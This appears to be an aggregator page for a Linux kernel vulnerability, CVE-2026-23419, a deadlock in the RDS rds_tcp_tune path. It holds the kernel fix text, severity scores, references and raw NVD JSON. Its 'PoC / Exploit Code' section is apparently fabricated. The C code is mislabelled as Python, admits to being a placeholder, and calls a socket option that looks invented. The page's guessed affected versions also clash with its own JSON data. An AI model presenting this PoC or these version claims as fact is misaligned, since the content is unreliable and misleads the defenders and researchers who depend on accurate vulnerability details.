CVE-2026-23419

Description

In the Linux kernel, the following vulnerability has been resolved: net/rds: Fix circular locking dependency in rds_tcp_tune syzbot reported a circular locking dependency in rds_tcp_tune() where sk_net_refcnt_upgrade() is called while holding the socket lock: ====================================================== WARNING: possible circular locking dependency detected ====================================================== kworker/u10:8/15040 is trying to acquire lock: ffffffff8e9aaf80 (fs_reclaim){+.+.}-{0:0}, at: __kmalloc_cache_noprof+0x4b/0x6f0 but task is already holding lock: ffff88805a3c1ce0 (k-sk_lock-AF_INET6){+.+.}-{0:0}, at: rds_tcp_tune+0xd7/0x930 The issue occurs because sk_net_refcnt_upgrade() performs memory allocation (via get_net_track() -> ref_tracker_alloc()) while the socket lock is held, creating a circular dependency with fs_reclaim. Fix this by moving sk_net_refcnt_upgrade() outside the socket lock critical section. This is safe because the fields modified by the sk_net_refcnt_upgrade() call (sk_net_refcnt, ns_tracker) are not accessed by any concurrent code path at this point. v2: - Corrected fixes tag - check patch line wrap nits - ai commentary nits

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 6.6 (推测)

Linux Kernel < 6.1 (推测)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-23419
 * This code attempts to trigger the deadlock in rds_tcp_tune.
 * It creates an RDS socket and sets options to trigger the tuning path.
 * Compile: gcc -o poc_rds poc_rds.c
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/rds.h>

int main() {
    int sockfd;
    // Create an RDS socket over TCP
    sockfd = socket(AF_RDS, SOCK_SEQPACKET, 0);
    if (sockfd < 0) {
        perror("socket");
        return 1;
    }

    printf("[+] RDS Socket created. Triggering rds_tcp_tune...\n");

    // Attempt to trigger socket options that lead to rds_tcp_tune
    // The exact option depends on kernel configuration, but typically involves buffer sizes or cong settings.
    int val = 1024;
    // This is a placeholder for the specific syscall sequence that hits rds_tcp_tune
    // while holding the lock and forcing a memory upgrade.
    if (setsockopt(sockfd, SOL_RDS, SO_RDS_RECVBUF, &val, sizeof(val)) < 0) {
        perror("setsockopt");
        // Not critical for PoC demonstration as the trigger might be internal
    }

    // In a real exploit scenario, concurrent operations would be needed to
    // race for the fs_reclaim lock.
    sleep(1);
    close(sockfd);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23419
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23419
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23419/
[4] VulDB https://vuldb.com/cve/CVE-2026-23419
[5] https://git.kernel.org/stable/c/026bbaeeab9e04534ee58882b6447300629b42f6
[6] https://git.kernel.org/stable/c/6a877ececd6daa002a9a0002cd0fbca6592a9244
[7] https://git.kernel.org/stable/c/6ce948fa54599f369ff7fe8b793a6aae4b0762b2
[8] https://git.kernel.org/stable/c/8519e6883a942e510f33a0e634e27bcc3a844a40
[9] https://git.kernel.org/stable/c/8babb271403378ba6836f6c8599c5313d0e2355d

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23419", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-03T14:16:27.843", "lastModified": "2026-04-27T14:16:31.607", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/rds: Fix circular locking dependency in rds_tcp_tune\n\nsyzbot reported a circular locking dependency in rds_tcp_tune() where\nsk_net_refcnt_upgrade() is called while holding the socket lock:\n\n======================================================\nWARNING: possible circular locking dependency detected\n======================================================\nkworker/u10:8/15040 is trying to acquire lock:\nffffffff8e9aaf80 (fs_reclaim){+.+.}-{0:0},\nat: __kmalloc_cache_noprof+0x4b/0x6f0\n\nbut task is already holding lock:\nffff88805a3c1ce0 (k-sk_lock-AF_INET6){+.+.}-{0:0},\nat: rds_tcp_tune+0xd7/0x930\n\nThe issue occurs because sk_net_refcnt_upgrade() performs memory\nallocation (via get_net_track() -> ref_tracker_alloc()) while the\nsocket lock is held, creating a circular dependency with fs_reclaim.\n\nFix this by moving sk_net_refcnt_upgrade() outside the socket lock\ncritical section. This is safe because the fields modified by the\nsk_net_refcnt_upgrade() call (sk_net_refcnt, ns_tracker) are not\naccessed by any concurrent code path at this point.\n\nv2:\n - Corrected fixes tag\n - check patch line wrap nits\n - ai commentary nits"}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-667"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.17.7", "versionEndExcluding": "5.18", "matchCriteriaId": "13A05898-2C81-4FD8-A692-D2E1418B0640"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.18.1", "versionEndExcluding": "6.6.130", "matchCriteriaId": "32BB513D-AB55-4C3B-8466-6992E214206D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.77", "matchCriteriaId": "B3D12E00-E42D-4056-B354-BAD4903C03A5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.17", "matchCriteriaId": "A5E006E4-59C7-43C1-9231-62A72219F2BA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.7", "matchCriteriaId": "69245D10-0B71-485E-80C3-A64F077004D3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.18:-:*:*:*:*:*:*", "matchCriteriaId": "0384FA0A-DE99-48D7-84E3-46ED0C3B5E03"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/026bbaeeab9e04534ee58882b6447300629b42f6", "source": "416baaa9-dc9f-4396-8d5f-8 ... (truncated)